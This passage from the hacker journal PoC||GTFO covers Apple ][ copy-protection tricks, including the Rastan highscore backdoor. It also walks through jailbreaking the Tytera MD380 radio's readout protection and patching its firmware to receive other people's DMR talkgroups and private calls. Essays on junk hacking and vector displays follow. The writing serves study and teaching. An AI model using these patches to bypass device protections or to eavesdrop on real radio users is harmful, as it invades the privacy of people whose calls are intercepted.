subroutine calls and loops), regardless of the references to individual
lines. However, the next line (technically, the next token) to execute can
be altered dynamically at runtime, by a “POKE 184, <low addr>”. The first
value at the new location must be a colon character. For example, this
program will skip the END token and print the exclamation mark instead.



0 POKE 184,14 : END : PRINT "!"

It is also possible to alter the high address by a “POKE 185, <high
address>” as well, but it requires that the second POKE is placed at the new
location, which is determined by the new value of the high address and
the old value of the low address. It cannot be placed immediately after
the address of the first POKE, because that location will not be accessed
anymore.

“REM crash”

801:0E 08 00 00 B2 0D 04 50 52 23 36 0D 00 00 00

This program contains one line, which looks like the following,
where the “^” character stands for the Control key.

When listed with DOS active, it will trigger a reboot. It works
because the same I/O routine is used for displaying the text as for
typing commands from the keyboard. Zardax uses this technique.

Self-modification

A program can even modify itself dynamically at runtime. For example,
this program will display “2” instead of “1.” The address of the POKE
corresponds to the location of the text in memory.

A program can also extend its code dynamically at runtime:



A FOR loop must be terminated by a NEXT token, in order to be legal
code. Notice that the program does not contain a NEXT token, as
expected. Instead, the values in the DATA line supply the NEXT token and
a subsequent :. The inclusion of a : allows extending the line further,
simply by adding more values to the DATA line and altering the
corresponding address of the POKE.

By using this technique, even entirely new lines can be created.

10:7.13 Rastan

Rastan is mentioned here only because it is a title for an Apple ][ system
(okay, the IIGS) that carried the means to bypass its own copy-
protection! The program contained two copy-protection techniques.
One was a disk verification check, which executed shortly after inserting
the second disk. The other was a checksum routine which performed
part of the calculation between each graphics frame, until it formed the
complete value. If the match failed, only then would it display a
message. It means that the game would run for a little while before
failing, making it extremely difficult to determine where the check was
performed.

The Rastan backdoor

In order to avoid waiting for the protection check every time a new
version of the code was built, John Brooks inserted a backdoor routine
which executed before the first protection check could run. The
backdoor routine had the ability to disable both protection checks in
memory, as well as to add new functionality, such as invincibility and
level warping. And where was this backdoor routine located? Inside the
highscore file!

Yes. The highscore file had a special format, whereby code could be
placed beginning at the third byte of the file. As long as the checksum
of the file was valid (an exclusive-OR of every byte of the file yielded a
zero), the code would be executed.



Here is the dispatcher code in Rastan:

.A16
;checksum data
2000D    JSR    $21216
;note this address
20010    JSR    $2D1C2

Here is the checksum routine:

.A16
;source address
21216    TXA
;taken if no highscore file
21217    BEQ    $21240
;length of data
21219    LDA    $0,X
2121D    TAY
2121E    SEP    #$20
.A8
21220    PHX
;checksum seed
21221    LDA    #0
;checksum data
21223    EOR    $0,X
21227    INX
21228    DEY
21229    BNE    $21223
2122B    PLX
2122C    REP    #$30
.A16
2122E    AND    #$FF
;taken if bad checksum,
;no copy
21231    BNE    $21240
;length of data
21233LDA        $0,X
21237    DEC
21238    LDY    #$D1C0
;copy to $2D1C0
2123B    MVN    #2, #0
2123E    PHK
2123F    PLB
21240    RTS

We can see that the data are copied to $2D1C0, the first word is the
length of the data, and the first byte after the length (so $2D1C2) is



executed directly in 16-bit mode. By default, the file carried an
immediate return instruction, but it could have been anything,
including this:

;always pass protection
;(BRA $+$0F)
2D1C2    LDA    #$0D80
2D1C5    STA    $22004
;always pass checksum
;(BRA $+$19)
2D1C8    LDA    $1780
2D1CB    STA    $3CAD0
2D1CE    RTS

Conclusion

There were many tricks used to protect programs on the Apple ][, and
what is listed here is not even all of them. Copy-protection and
cracking were part of a never-ending cycle of invention and advances on
both sides. As the protectors came to understand the hardware more
and more, they were able to develop techniques like delayed fetch, or
consecutive quarter-tracks. The crackers came up with NMI cards, and
the mighty E.D.D. In response, the protectors hooked the NMI vector
and exploited a vulnerability in E.D.D.’s read routine. (This is my
absolute favorite technique.) The crackers just boot-traced the whole
thing.

We can only stand and admire the ingenuity and inventiveness of
the protectors like Roland Gustafsson or John Brooks. They were
helped by the openness of the Apple ][ platform and especially its disk
system. Even today, we see some of the same styles of protections: anti-
disassembly, self-modifying code, compression, and, of course, anti-
debugging.

The cycle really is never-ending.
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10:8 Reverse Engineering the Tytera MD380

by Travis Goodspeed KK4VCZ, with kind thanks to DD4CR and W7PCH.

The following is an adventure of reverse engineering the Tytera
MD380, a digital hand-held radio that can be had for barely more than
a hundred bucks. In this article, I explain how to read and write the
radio’s configuration over USB, and how to break the readout
protection on its firmware, so that you fine readers can write your own
strange and clever software for this nifty gizmo. I also present patches
to promiscuously receive audio from unknown talkgroups, creating the
first hardware scanner for DMR. Far more importantly, these notes will
be handy when you attempt to reverse engineer something similar on
your own.

This article does not go into the security problems of the DMR
protocol, but those are sufficiently similar to P25 that I’ll just refer you
to Why (Special Agent) Johnny (Still) Can’t Encrypt by Sandy Clark and

Friends.60

I hope that you’ll have the chance to conveniently patch a pilfered
bootloader, to sniff undocumented USB commands, or to patch brand
new features into the firmware of your own radio.





Hardware Overview

The MD380 is a hand-held digital voice radio that uses either analog
FM or Digital Mobile Radio (DMR). It is very similar to other DMR

radios, such as the CS700 and CS750 from Connect Systems.61

DMR is a trunked radio protocol using two-slot TDMA, so a single
repeater tower can be used by one user in Slot 1 while another user is
having a completely different conversation on Slot 2. Just like GSM,
the tower coordinates which radio should transmit when.

The CPU of this radio is an STM32F405 from
STMicroelectronics. This contains a Cortex M4, so all instructions are
Thumb and all function pointers are odd. The LQFP100 package of
this chip is used. It has a megabyte of Flash and 192 kilobytes of RAM.
The STM32 has both JTAG and a ROM bootloader, but both of these
are protected by a Readout Device Protection (RDP) feature. On page
327, I’ll show you how to bypass these protections and jailbreak your
radio.

There is also a radio baseband chip, the HR C5000. At first I was
reconstructing the pinout of this chip from the CS700 Service Manual,
but the full documentation can be had from Docln, a Chinese PDF
sharing website. 

Aside from a bunch of support components that we can take for
granted, there is an SPI Flash chip for storing the codeplug.



“Codeplug” is a Motorola term for the radio settings, such as
frequencies, contacts, and talk groups; I use the term here to
distinguish the radio configuration in SPI Flash from the code and data
in CPU Flash.

A Partial Dump

From lsusb -v on Linux, we can see that the device implements USB
DFU, most likely as a fork of some STMicro example code. The
MD380 appears as an STMicro DFU device with storage for Internal
Flash and SPI Flash with a VID:PID of 0483:df11.

Further, the .rdt codeplug files are SPI Flash images in the DMU
format, which is pretty much just wrapper with a bare minimum of
metadata around a flat, uncompressed memory image. These codeplug
files contain the radio’s contact list, repeater frequencies, and other
configuration info. We’ll get back to this later, as what we really want
to do is dump and patch the firmware.

Unfortunately, dumping memory from the device by the standard
DFU protocol doesn’t seem to yield useful results, just the same
repeating binary string, regardless of the alternate we choose or the
starting position.





In this brave new world, where folks break their bytes on the little
side by order of Golbasto Momarem Evlame Gurdilo Shefin Mully
Ully Gue, Tyrant of Lilliput and Eternal Enemy of Big Endians and
Blefuscu, it’s handy to spot four byte sequences that could be interrupt
handlers. In this case, what we’re looking at is the first few pointers of
an interrupt vector table. This means that we are grabbing memory
from the beginning of internal flash at 0x08000000!

Note that the data repeats every kilobyte, and also that dfu-util is
reporting a transfer size of 1,024 bytes. The -t switch will order dfu-util
to dump more than a kilobyte per transfer, but everything after the first
transfer remains corrupted.

This is because dfu-util isn’t sending the proper commands to the
radio firmware, and it’s getting the page as a bug rather than through
proper use of the protocol. (There are lots of weird variants of DFU,
created by folks only using DFU with their own tools and never testing
for compatibility with each other. This variant is particularly weird,
but manageable.)



Tapping USB with VMWare

Before going further, it was necessary to learn the radio’s custom dialect
of DFU. Since my Total Phase USB sniffers weren’t nearby, I used
VMWare to sniff the transactions of both the MD380’s firmware
updater and codeplug configuration tools.

I did this by changing a few lines of my VMWare .vmx configuration
to dump USB transactions out to vmware.log, which I parsed with ugly
regexes in Python. These are the additions to the .vmx file.

The logs showed that the MD380’s variant of DFU included non-
standard commands. In particular, the LCD screen would say “PC
Program USB Mode” for the official client applications, but not for
any third party application. Before I could do a proper read, I had to
find the commands that would enter this programming mode.

DFU normally hides extra commands in the UPLOAD and DNLOAD
commands when the block address is less than two. (Hiding them in
blocks OxFFFF and OxFFFE would make more sense, but if wishes were
horses, then beggars would ride.)

To erase a block, a DFU host sends 0x41 followed by a little endian
address. To set the address pointer (block 2’s address), the host sends
0x21 followed by a little endian address.

In addition to those standard commands, the MD380 also uses a
number of two-byte (rather than five-byte) DNLOAD transactions, none of
which exist in the standard DFU protocol. I observed a number of
commands, many of which I still only partially understand.

Non-Standard DNLOAD Extensions

91 01 Enables programming mode on LCD.

a2 01 Seems to return model number.



Non-Standard DNLOAD Extensions

a2 02 Sent only by config read.

a2 31 Sent only by firmware update.

a2 03 Sent by both.

a2 04 Sent only by config read.

a2 07 Sent by both.

91 31 Sent only by firmware update.

91 05 Reboots, exiting programming mode.

Custom Codeplug Client

Once I knew the extra commands, I built a custom DFU client that
would send them to read and write codeplug memory. With a little
luck, this might have given me control of firmware, but as you’ll see, it
only got me half way.

Because I’m familiar with the code from a prior target, I forked the
DFU client from an old version of Michael Ossmann’s Ubertooth

project.62

Sure enough, changing the VID and PID of the ubertooth-dfu script
was enough to start dumping memory, but just like dfu-util, the result
was a repeating sequence of the first block’s contents. Because the block
size was 256 bytes, I received only the first 0x100 bytes repeated.

Adding support for the non-standard commands in the same order
as the official software, I got a copy of the complete 256K codeplug
from SPI Flash instead of the beginning of Internal Flash. Hooray!

To upload a codeplug back into the radio, I modified the download()
function of the host-side script to enable programming mode and
properly wait for the state to return to dfuDNLOAD_IDLE before sending each
block.

This was enough to write my own codeplug from one radio into a
second, but it had a nasty little bug! I forgot to erase the codeplug



memory, so the radio got a bitwise AND of two valid codeplugs.63

A second trip with the USB sniffer shows that these four blocks
were erased, and that the upload address must be set to zero after the
erasure.
0x00000000 0x00010000 0x00020000 0x00030000

Erasing those blocks properly gave me a tool that correctly reads
and writes the radio codeplug!

Codeplug Format

Now that I could read and write the codeplug memory of my MD380, I
wanted to be able to edit it. Parts of the codeplug are nice and easy to
reverse, with strings as UTF16L and numbers being either integers or
BCD. Checksums don’t seem to matter, and I’ve not yet been able to
brick my radios by uploading damaged firmware images.

The Radio Name is stored as a string at 0x20b0, while the Radio ID
Number is an integer at 0x2080. The intro screen’s text is stored as two
strings at 0x2040 and 0x2054.

CHIRP, a ham radio application for editing radio codeplugs, has a
bitwise library that expects memory formats to be defined as C structs
with base addresses. By loading a bunch of contacts into my radio and
looking at the resulting structure, it was easy to rewrite it for CHIRP.

Repeatedly changing the codeplug with the manufacturer’s
application, then comparing the hexdumps gave me most of the radio’s
important features. Patience and a few more rounds will give me the



rest of them, and then my CHIRP plugin can be cleaned up for
inclusion.

Unfortunately, not everything of importance exists within the
codeplug. It would be nice to export the call log or the text messages,
but such commands don’t exist and the messages themselves are
nowhere to be found inside of the codeplug. For that, we’ll need to
break into the firmware.

Dumping the Bootloader

Now that I had a working codeplug tool, I’d like a cleartext dump of
firmware. Recall from page 314 that forgetting to send the custom
command 0x91 0x01 leaves the radio in a state where the beginning of
code memory is returned for every read. This is an interrupt table!

From this table and the STM32F405 datasheet, we know the code
flash begins at 0x08000000 and RAM begins at 0x2000-0000. Because the
firmware updater only writes to regions at and after 0x0800C000, we can
guess that the first 48k are a recovery bootloader, with the region after
that holding the application firmware. As all of the interrupts are odd,
and because the radio uses a Cortex M4 core, we know that the
firmware is composed exclusively of Thumb (and Thumb2) code, with
no old fashioned ARM instructions.

Figure 10.18: MD380 Recovery Bootloader IVT



Sure enough, I was able to dump the whole bootloader by reading a
single page of 0xC000 bytes from the application mode. This bootloader
is the one used for firmware updates, which can be started by holding
PTT and the unlabeled button above it when turning on the power

switch.64

This trick doesn’t expose enough memory to dump the application,
but it was valuable to me for two very important reasons. First, this
bootloader gave me some proper code to begin reverse engineering,
instead of just external behavioral observations. Second, the recovery
bootloader contains the keys and code needed to decrypt an
application image, but to get at that decrypted image, I first had to do
some soldering.





Radio Disassembly (BOOT0 Pin)

As I stress elsewhere, the MD380 has three applications in it: (1) Tytera’s
Radio Application, (2) Tytera’s Recovery Bootloader, and (3) STMicro’s
Bootloader ROM. The default boot process is for the Recovery
Bootloader to immediately start the Radio Application unless Push-
To-Talk (PTT) and the button above it are held during boot, in which



case it waits to accept a firmware update. There is no key sequence to
start the STMicro Bootloader ROM, so a bit of disassembly and
soldering is required.

This ROM contains commands to read and write all of memory, as
well as to begin execution at any arbitrary address. These commands
are initially locked down, but on page 327, I’ll show how to get around
the restrictions.

To open your radio, first remove the battery and the four Torx
screws that are visible from the back of the device. Then unscrew the
antenna and carefully pry off the two knob covers. Beneath each knob
and the antenna, there are rings that screw in place to secure them
against the radio case; these should be moved by turning them counter-
clockwise using a pair of sturdy, dull tweezers.

Once the rings have been removed, the radio’s main board can be
levered up at the bottom of the radio, then pulled out. Be careful when
removing it, as it is attached with a Zero Insertion Force (ZIF)
connector to the LCD/Keypad board, as well as by a short connector
to the speaker.

The STMicro Bootloader is started by pulling the BOOT0 pin of
the STM32F405 high while restarting the radio. I did this by soldering
a thin wire to the test pad near that pin, wrapping the wire around a
screw for strain relief, then carefully feeding it out through the
microphone/speaker port.

(An alternate method involves removing BOOTO’s pull-down
resistor, then fly-wiring it to the pull-up on the PTT button. Thanks
to tricky power management, this causes the radio to boot normally,
but to reboot into the Mask ROM.)



Figure 10.19: Removing the Antenna Rings



Figure 10.20: Inside the MD380

Bootloader RE

Once I finally had a dump of Tytera’s bootloader, it was time to reverse

engineer it.65

The image is 48K in size and should be loaded to 0x08000000.
Additionally, I placed 192K of RAM at 0x20000000. It’s also handy to
create regions for the I/O banks of the chip, in order to help track
those accesses. (IDA and Radare2 will think that peripherals are global
variables near 0x40000000.)

After wasting a few days exploring the command set, I had a decent,
if imperfect, understanding of the Tytera Bootloader but did not yet
have a cleartext copy of the application image. Getting a bit impatient,



I decided to patch the bootloader to keep the device unprotected while
loading the application image using the official tools.

I had to first explore the STM32 Standard Peripheral Library to
find the registers responsible for locking the chip, then hunt for
matching code.



Figure 10.21: Tapping the BOOT0 Pin

The way flash protection works is that byte 1 of FLASH->OPTCR (at
0x40023C15) is set to the protection level. 0xAA is the unprotected state,
while 0xCC is the permanent lock. Anything else, such as 0x55, is a sort of
temporary lock that allows the application to be wiped away by the
Mask ROM bootloader, but does not allow the application to be read
out.

Tytera is using this semi-protected mode, so you can pull the BOOT0

pin of the STM32F4xx chip high to enter the Mask ROM bootloader.66

This process is described on page 324.



Sure enough, at 0x08001FB0, I found a function that’s very much like
the example FLASH_OB_RDPConfig function from stm-32f4xx_flash.c. I call the
local variant rdp_lock().

This function is called from main() with a parameter of 0x55 in the
instruction at 0x080044A8.

Patching that instruction to instead send 0xAA as a parameter
prevents the bootloader from locking the device. (We’re just swapping
aa 20 in where 55 20 used to be.)



Dumping the Application

Once I had a jailbroken version of the recovery bootloader, I flashed it
to a development board and installed an encrypted MD380 firmware
update using the official Windows tool. Sure enough, the application
installed successfully!

After the update was installed, I rebooted the board into its ROM
by holding the BOOT0 pin high. Since the recovery bootloader has been
patched to leave the chip unlocked, I was free to dump all of Flash to a
file for reverse engineering and patching.

Reversing the Application

Reverse engineering the application isn’t terribly difficult, provided a
few tricks are employed. In this section, I’ll share a few. Note that all
pointers in this section are specific to Version 2.032, but similar
functionality exists in newer firmware revisions.

At the beginning, the image appears almost entirely without
symbols. Not one function or system call comes with a name, but it’s
easy to identify a few strings and I/O ports. Starting from those, related
functions—those in the same .C source file—are often located next to
one another in memory, providing hints as to their meaning.

The operating system for the application is an ARM port of
MicroC/OS-II, an embedded real-time operating system that’s quite
well documented in the book of the same name by Jean J. Labrosse. A
large function at 0x0804429C that calls the operating system’s OSTaskCreateExt
function to make a baker’s dozen of threads. Each of these conveniently
has a name, conveniently describing the system interrupt, the real-time
clock timer, the RF PLL, and other useful functions.



As I had already reverse engineered most of the SPI Flash codeplug,
it was handy to work backward from codeplug addresses to identify
function behavior. I did this by identifying spiflash_-read at 0x0802fd82 and
spiflash_write at 0x0802fbea, then tracing all calls to these functions. Once
these have been identified, finding codeplug functions is easy. Knowing
that the top line of startup text is 32 bytes stored at 0x2040 in the
codeplug, finding the code that prints the text is as simple as looking
for calls to spiflash_read(&foo, 0x2040, 20).

Thanks to the firmware author’s stubborn insistence on 1-indexing,
many of the structures in the codeplug are indexed by an address just
before the real one. For example, the list of radio channel settings is an
array that begins at 0x1ee00, but the functions that access this array have
code along the lines of spiflash_read(&foo, 64*index+0x1edc0, 64).

One mystery that struck me when reverse engineering the codeplug
was that I didn’t find a missed call list or any sent or received text
messages. Sure enough, the firmware shows that text messages are
stored after the end of the 256K SPI Flash codeplug that the radio
exposes to the world.

Code that accesses the C5000 baseband chip can be reverse
engineered in a similar fashion to the codeplug. The chip’s datasheet is
very well handled by Google Translate, and plenty of functions can be

identified by writes to C5000 registers of similar functions.67

Be careful to note that the C5000 has multiple memories on its
primary SPI bus; if you’re not careful, you’ll confuse the registers,
internal RAM, and the Vocoder buffers. Also note that a lot of registers
are missing from the datasheet; please get in touch with me if you
happen to know what they do.

Finally, it is crucially important to be able to sort through the
DMR packet parsing and construction routines quickly. For this, I’ve
found it handy to keep paper printouts of the DMR standard, which

are freely available from ETSI.68 Link-Local addresses (LLIDs) are 24
bits wide in DMR, and you can often locate them by searching for code

that masks against 0x00FFFFFF.69



Patching for Promiscuity

While it’s fun to reverse engineer code, it’s all a bit pointless until we
write a nifty patch. Complex patches can be introduced by hooking
function calls, but let’s start with some useful patches that only require
changing a couple of bits. Let’s enable promiscuous receive mode, so
the MD380 can receive from all talk groups on a known repeater and
timeslot.

In DMR, audio is sent to either a Public Talkgroup or a Private
Contact. These each have a 24-bit LLID, and they are distinguished by
a bit flag elsewhere in the packet. For a concrete example, 3172 is used
for the Northeast Regional amateur talkgroup, while 444 is used for the
Bronx TRBO talkgroup. If an unmodified MD380 is programmed for
just 3172, it won’t decode audio addressed to 444.

There is a function at 0x0803ec86 that takes a DMR audio header as its
first parameter and decides whether to play the audio or mute it as
addressed to another group or user. I found it by looking for access to
the user’s local address, which is held in RAM at 0x2001c65c, and the list of
LLIDs for incoming listen addresses, stored at 0x2001c44c.

To enable promiscuous reception to unknown talkgroups, the
following talkgroup search routine can be patched to always match on
the first element of listengroup[]. This is accomplished by changing the
instruction at 0x0803ee36 from 0xd1ef (JNE) to 0x46c0 (NOP).



A similar JNE instruction at 0x0803ef10 can be replaced with a NOP to
enable promiscuous reception of private calls. Care in real-world
patches should be taken to reduce side effects, such as by forcing a
match only when there’s no correct match, or by skipping the missed-
call logic when promiscuously receiving private calls.

DMR Scanning

After testing to ensure that my patches worked, I used Radio Reference
to find a few local DMR stations and write them into a codeplug for my
modified MD380. Soon enough, I was hearing the best gossip from a

university’s radio dispatch.70

Later, I managed to find a DMR network that used the private
calling feature. Sure enough, my radio would ring as if I were the one
being called, and my missed call list quickly grew beyond my two local
friends with DMR radios.

A New Bootloader

Unfortunately, the MD380’s application consumes all but the first 48K
of Flash, and that 48K is consumed by the recovery bootloader. Since
we neighbors have jailbroken radios with a ROM bootloader accessible,
we might as well wipe the Tytera bootloader and replace it with
something completely new, while keeping the application intact.

Luckily, the fine folks at Tytera have made this easy for us! The
application has its own interrupt table at 0x0800C000, and the RESET
handler—whose address is stored at 0x0800C004—automatically moved
the interrupt table, cleans up the stack, and performs other necessary
chores.



Firmware Distribution

Since this article was written, DD4CR has managed to free up 200K of
the application by gutting the Chinese font. She also broke the
(terrible) update encryption scheme, so patched or rewritten firmware
can be packaged to work with the official updater tools from the
manufacturer.

Patrick Hickey W7PCH has been playing around with from-
scratch firmware for this platform, built around the FreeRTOS
scheduler. His code is already linking into the memory that DD4CR
freed up, and it’s only a matter of time before fully-functional
community firmware can be dual-booted on the MD380.



In this article, you have learned how to jailbreak your MD380
radio, dump a copy of its application, and begin patching that
application or writing your own, new application.

Perhaps you will add support for P25, D-Star, or System Fusion.
Perhaps you will write a proper scanner, to identify unknown stations
at a whim. Perhaps you will make DMR adapter firmware, so that a
desktop could send and receiver DMR frames in the raw over USB. If
you do any of these things, please tell me about it!

73 from Manhattan,
the home of Pizza Rat and Bodega Cats!
Travis KK4VCZ







11 Welcoming Shores of the Great

Unknown

IN A FIT OF STUBBORN OPTIMISM,
PASTOR MANUL LAPHROAIG

AND HIS CLEVER CREW
SET SAIL TOWARD

WELCOMING SHORES OF
THE GREAT UNKNOWN!

11:1 All aboard!

Neighbors, please join me in reading this twelfth release of the
International Journal of Proof of Concept or Get the Fuck Out, a



friendly little collection of articles for ladies and gentlemen of
distinguished ability and taste in the field of software exploitation and
the worship of weird machines. This is our twelfth release, given on
paper to the fine neighbors of Heidelberg.

Our own Pastor Laphroaig opens this issue on page 342 by
confessing to be a fan of junk hacking! He tells us to ignore the
publicity and drama around a hack, to ignore even its target and its
CVE. Instead, we should learn the mechanism of the hack, the clever
tricks that make it work. Programming these mechanisms in nifty ways,
be they ever so old, is surely not—“junk” think of it instead as an
educational journey to far and exotic shores, on which this issue’s great
crew of authors stands ready to take you, neighbors!

In a fit of nostalgia for the good old vector arcade games, Trammel
Hudson extended MAME to support native vector displays of the 1983
Star Wars arcade game on both his Tektronix 1720 scope and a Vectrex
home vector display. Find it on page 347.

Eric Davisson contributes a 512-byte game for the PC BIOS on
page 355. He discusses some nifty tricks for self-rewriting code in 16-
bit Real Mode and shows that the fancier features of an operating
system aren’t needed to have a little fun—and that programming a
constrained environment can be great fun indeed!

On page 374, Peter Ferrie describes his work toward a universal
bypass for the E7 protection mode used on a number of Apple ][ disks.
This is a follow up to his encyclopedic coverage of protection modes
for this platform in PoCǁGTFO 10:7.

Ryan Speers and Travis Goodspeed have begun a series of tourist
guides, intended to quickly introduce reverse engineers to a new
platform. Page 387 provides a lightning-fast introduction to ARM’s
Cortex M series, which you’ll find in modern devices with a megabyte
or less of Flash memory. Page 403 contains similar notes for the Texas
Instruments MSP430, MSP430X, and MSP430X2 architectures, a 16-
bit competitor to the PIC and AVR.

At this journal, we generally frown upon defense, not because it is
easy, but because it is so damned hard to describe properly. On page



396, Jeffrey Crowell presents a poor man’s method of patching 32-bit
x86 binaries to enforce the control flow graph. With examples in
Radare2 and legible C, you’ll be itching to write your own generic
patchers for large binaries this weekend.

Page 415 describes how Evan Sultanik made this PDF—the one
that you’re reading—into a poyglot webserver quine in Ruby with its

own самиздат, PoCǁGTFO mirror.

It is with great sadness that we dedicate this release to the memory
of our neighbor Ben Byer, the “hypothetical defendant by the name of
‘Bushing’” who inspired many of us to put pwnage before politics, to
keep on hacking. We’re gonna miss him.

11:2 In Praise of Junk Hacking

by Pastor Manul Laphroaig in polite dissent to Daily Dave.

Gather round y’all, young and old, and listen to a story that I have
to tell.



Back in 2014, when we were all eagerly waiting for </SCORPION> to
debut on the TV network formerly known as the Columbia
Broadcasting System, a minor ruckus was raised over Junk Hacking.
The moral fiber of the youth, it was said, was being corrupted by a
dozen cheap Black Hat talks on popping embedded systems with old
bugs from the nineties. Who among us high-brow neighbors would
sully the good name of our profession by hacking an ATM that runs
Windows XP, when breaking into XP is old hat?

Let’s think for just a minute and consider the best examples of
neighborly junk hacking. Perhaps we’ll find that rather than being mere
publicity stunts, junk hacking is a way to step back from the daily grind
of confidential consulting work, to share nifty tricks and techniques
that are often more interesting than the bug itself.

Our first example today is from everyone’s favorite doctor in a track
suit, Charlie Miller. If you have the misfortune of reading about his
work in the lay press, you might have heard that he could blow up

laptop batteries by software,1 or that he was recklessly irresponsible by

disabling the power train of a car with a reporter inside.2 That is to say,
from the lay press articles, you wouldn’t know a damned thing about
what mechanism he experimented with.

So please, read the fucking paper, the battery hacking paper,3 and
ignore what CNN has to say on the subject. Read about how the Smart
Battery Charger (SBC) is responsible for charging the battery even
when the host is unresponsive, and consider how much more stable this
would be than giving the host responsibility for managing the state.
Read about how a complete development kit is available for the
platform, about how the firmware update is flashed out of order to
prevent bricking the battery.

Read about how the Texas Instruments BQ20Z80 chip is a
CoolRISC 816 microcontroller, which was identified by Dion Blazakis
through googling opcodes when the instruction set was not
documented by the manufacturer. See that its mask ROM functions are

well documented in sluu225.pdf.4 Read about how code memory erases



not to all ones, as most architectures would, but to ff ff 3f because
that’s a NOP instruction.

Read about how this architecture wasn’t supported by IDA Pro, but

that a plugin disassembler wasn’t much trouble to write.5 Read about
how instructions on the CoolRISC platform are 22 bits wide and 24-bit
aligned, so code might begin at any 3-byte boundary. See how Charlie
bypasses the firmware checksums in order to inject his own code.

Can you really read all thirty-eight pages without learning one new
trick, without learning anything nifty? Without anything more to say
than your disappointment that batteries shipped with the default
password? He who has eyes to read, let him read!

Loyal readers of this journal will remember PoCǁGTFO 2:4, in

which Natalie Silvanovich gets remote code execution in a
Tamagotchi’s 6502 microcontroller through a plug-in memory chip.
“Big whoop,” some jerk might say, “local control of memory is getting
root when you already have root!”

Re-read her article; it packs a hell of a lot into just a few pages. The
memory that she controls is just data memory, containing some fixed-
size sprites and single byte describing the game that the cartridge
should load. The game itself, like all other code, is already in the
CPU’s unwritable Mask ROM.

So given just one byte of maneuverability, Natalie tried each value,
discovering that a switch() statement had no default case, so values above
0x20 would cause a reboot, while really high values, above 0xD8, would
sometimes jump the game to a valid screen.

At this point she had a good idea that she was running off the end of
a jump table, but as is common in the best junk hacking, she had no
copy of the code and needed an exploit to extract the code. She did,
however, know from die photographs and datasheets that the chip was a
GeneralPlus GPLB52X with a 6502 instruction set. So she came up
with the clever trick of making a background picture that, when loaded

into LCD RAM, would form a NOP sled into shellcode that dumped
memory out of an I/O port.



By reverse engineering that memory dump, she was able to replace
her Hail Mary of a NOP sled with perfectly placed, efficient shellcode
containing any number of fancy new features. You can even send your
Tamagotchi to 30C3, if you like.

The point of her paper is no more about securing the Tamagotchi
than Charlie’s is about securing a battery. The point of the paper is to
teach the reader the mechanism by which she dumped the firmware, and

if you can read those two pages without learning something new about
exploiting a target for which you have no machine code to disassemble,
you aren’t really trying. He who has eyes to read, let him read!

And this is the crux of the matter, dear neighbors. We become jaded
by so much garbage on TV, so much crap in the news, and so many
attempts to straight-jacket the narrative of security research by the
mistaken belief that it must involve security. But the very best security
research doesn’t involve security! The very best research has no CVE,

demands no patch, and has no direct relation to anything from your
grandmother’s credit card number to your server’s shadow file.

The very best research is that which teaches you something new
about the mechanism by which a machine functions. It teaches you how

to build something, how to break something, or how to take something
apart, but most of all it teaches you how the hell that thing really
works.

So to hell with the target and to hell with the reporters. Teach me
how a thing works, and teach me the techniques that you needed to do



something clever with it. But if you casually dismiss the clever tricks
learned from hacking an Apple ][, a battery, or a Tamagotchi, I’m afraid

that I’ll have to ask you politely, but firmly, to get the fuck out.6

11:3 Star Wars on a Vector Display

by Trammell Hudson

Star Wars was one of Atari’s best vector games—possibly, the
pinnacle of the golden age of arcade games. It featured 3D color vector
graphics in an era when most games were low-resolution bitmaps. It
also had digitized voice samples from the movie, while its
contemporary games were still using 8-bit beeps.

The Star Wars ROMs, along with almost all of Atari’s vector games,
can be emulated with MAME and the vectors extracted for display on
actual vector hardware. Even though modern screens have exceeded the
10-bit resolution used by the game, the unique quality of a vector
monitor is hard to convey. When compared to the low-resolution
bitmap on a television monitor, the sharp lines and high resolution of
the vectors are really stunning.

The graphics were 3D wireframe renderings that included features
like the Tie fighters breaking up when they were hit by the player’s
lasers. There was no hidden wireframe removal; at this time it was not
computationally feasible to do so.





Digital to Analog Converters



There were two common ways to generate the analog voltages to steer
the electron beam in the vector monitor. Most early Atari games used
the “Digital Voltage Generator,” which used dual 10-bit DACs that
directly output -2.5 to +2.5 volt signals. Star Wars, however, used the
“Analog Voltage Generator,” in which the DACs generated the slope of

the line, and opamps integrated the values to produce the output
voltage. This is significantly more complex to emulate, and modern
DACs and microcontrollers make it fairly easy to generate the analog
voltages to drive the displays with resolution exceeding the precision of
the old opamps.

The open source hardware V.st quad-DAC boards output do 1.2
million samples per second, which is enough to steer the beam using
Bresenham’s line algorithm at a resolution of about 12 bits. While this
is generating discrete points, the analog nature of the CRT means that
smooth lines will be traced in the phosphor. The ARM’s DMA engine
clocks out the X and Y coordinates as well as the intensity, allowing the
CPU to process incoming data from the USB serial connection
without disrupting the output.

Source code for the V.st is available online or as an attachment to

this PDF.7 A schematic diagram can be found on page 351.

Displays

Two inexpensive vector displays are the Tektronix 1720 vector-scope, a
piece of analog NTSC video test equipment from a television studio,
and the Vectrex, one of the only home vector console systems. The Tek
uses an Electrostatic deflection CRT, which gives it very high
bandwidth and almost instant transits between points, but at the cost of
a very small deflection angle that results in a tiny screen and a very deep
tube. The Vectrex has a magnetic deflection CRT, which allows it to be
much shallower and significantly larger, but it requires many
microseconds for the beam to stabilize in a new position. As a result,
the DAC needs to take into account the “inertia” of the beam and wait
for it to catch up.





Gameplay

Figure 11.1 compares the Tek 1720 on the left to the Vectrex on the
right, which isn’t very impressive on paper but will animate as a short
video if you open pocorgtfo11.pdf in Adobe Reader. A longer video
showing some of the different scenes is available. As the number of line
segments increases, the slower display starts to flicker.

The game was played with a yoke, so the Y-axis mapping might
seem backwards for a normal joystick. You can invert it in MAME by
pressing Tab to bring up the config menu, selecting “Analog Controls”
and “AD Stick Y Reverse.”

While playing it on a small Vectrex or even smaller vectorscope
doesn’t quite capture the thrill of the arcade, it is quite fun to relive the
vector art æsthetic at home and hear the digitized voice of Obi-Wan
telling you that “the Force will be with you, always.”





Figure 11.1: Tek 1720 vs Vectrex

11:4 Master Boot Record Nibbles; or, One Boot
Sector PoC Deserves Another

by Eric Davisson

I was inspired by the boot sector Tetris game by Juhani Haverinen,
Owen Shepherd, and Shikhin Sethi published as PoCǁGTFO 3:8. I feel

more creative when dealing with extreme limitations, and half a
kilobyte of real-mode assembly sounded like a great way to learn BIOS
API stuff. I mostly learned some int 0x10 and 0x16 from this exercise, with
a bit of int 0x19 from a pull request.

The game looks a lot more like Snake or Nibbles, except that the
tail never follows the head, so the game piece acts less like a snake and
more like a streak left in Tron. I called it Tron Solitaire because there is
only one player. This game has an advanced/dynamic scoring system
with bonus and trap items, and progressively increasing game speed.
This game can also be won.

I’ve done plenty of protected mode assembly and machine code
hacking, but for some reason have never jumped down to real mode.
Tetranglix gave me a hefty head start by showing me how to do things
